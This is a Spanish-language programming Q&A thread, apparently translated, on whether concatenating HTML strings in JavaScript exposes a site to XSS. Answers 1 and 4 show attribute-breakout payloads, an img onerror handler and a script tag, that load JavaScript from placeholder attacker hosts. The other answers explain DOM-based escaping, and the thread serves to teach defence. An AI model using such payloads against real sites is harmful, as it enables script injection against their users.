validacion - ¿Es realmente inseguro construir cadenas de HTML en Javascript?

validar formulario javascript html5

Question

La compañía que aloja nuestro sitio revisa nuestro código antes de implementarlo: recientemente nos dijeron esto:

Las cadenas de HTML nunca deben manipularse directamente, ya que eso nos abre a potenciales agujeros XSS. En cambio, siempre use una API API para crear elementos ... que pueden ser jQuery o las API directas.

Por ejemplo, en lugar de

this.html.push( ''<a class="quiz-au" data-src="'' + this.au + ''"><span class="quiz-au-icon"></span>Click to play</a>'' );

Ellos nos dicen que hagamos

var quizAuLink = $( ''a'' );
quizAuLink.addClass( ''quiz-au'' );
quizAuLink.data( ''src'', this.au );
quizAu.text( ''Click to play'' );
quizAu.prepend( ''<span class="quiz-au-icon"></span>'' );

¿Es esto realmente cierto? ¿Alguien puede darnos un ejemplo de un ataque XSS que podría explotar una cadena HTML como la primera?

Answer 1

Como no puede inyectar etiquetas de script en los navegadores modernos con .innerHTML , tendrá que escuchar un evento:

Si this.au se modifica de alguna manera, podría contener algo como esto:

"><img src="broken-path.png" onerror="alert(''my injection'');"><span class="

Eso arruinará tu HTML e inyectará una secuencia de comandos:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert(''my injection'')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

Y por ejecutar trozos más grandes de JavaScript configure onerror para:

var d = document; s = d.createElement(''script''); s.type=''text/javascript''; s.src = ''www.my-evil-path.com''; d.body.appendChild(s);

Gracias a Scimoster por la repetición

Answer 2

Dejando de lado la seguridad, cuando compile HTML en JavaScript, debe asegurarse de que sea válido. Si bien es posible construir y desinfectar HTML mediante la manipulación de cadenas *, la manipulación DOM es mucho más conveniente. Aún así, debe saber exactamente qué parte de su cadena es HTML y cuál es texto literal.

Considere el siguiente ejemplo donde tenemos dos variables codificadas:

var href = "/detail?tag=hr&copy%5B%5D=1",
text = "The HTML <hr> tag";

El siguiente código ingenuamente construye la cadena HTML:

var div = document.createElement("div");
div.innerHTML = ''<a href="'' + href + ''">'' + text + ''</a>'';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>

Esto usa jQuery pero sigue siendo incorrecto (usa .html() en una variable que se suponía que era texto ):

var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a>

Esto es correcto porque muestra el texto como se pretendía :

var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a>

Conclusión: el uso de DOM manipulation / jQuery no garantiza ninguna seguridad, pero seguro es un paso en la dirección correcta.

* Vea esta pregunta para ejemplos . Tanto la cadena como la manipulación DOM se discuten.

Answer 3

Esto debería ser igual de seguro, sin comprometer demasiado la legibilidad:

var link = $(''<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>'');
link.data("src", this.au);

El punto es evitar hacer operaciones de cadena para construir cadenas de HTML. Tenga en cuenta que en el punto anterior, usé $() solo para analizar una cadena constante, que analiza un resultado conocido. En este ejemplo, solo la parte this.au es peligrosa porque puede contener valores calculados dinámicamente.

Answer 4

Si this.au se modifica de alguna manera, podría contener algo como esto:

"><script src="http://example.com/evilScript.js"></script><span class="

Eso arruinará tu HTML e inyectará una secuencia de comandos:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

Si utiliza la manipulación DOM para establecer el atributo src , la secuencia de comandos (o cualquier otro XSS que utilice) no se ejecutará, ya que la API DOM la escapará correctamente.

En respuesta a algunos comentaristas que están diciendo que si alguien pudiera modificar this.au , seguramente podrían ejecutar el script por sí mismos: no sé de dónde this.au este this.au , ni es particularmente relevante. Podría ser un valor de la base de datos, y el DB podría haberse visto comprometido. También podría ser un usuario malintencionado que intenta complicar las cosas para otros usuarios. Incluso podría ser un inocente no técnico que no se dio cuenta de que escribir "def" > "abc" destruiría las cosas.

Una cosa más. En el código que proporcionó, var quizAuLink = $( ''a'' ); no creará un nuevo elemento <a> . Simplemente seleccionará todas las existentes. Necesita usar var quizAuLink = $( ''<a>'' ); para crear uno nuevo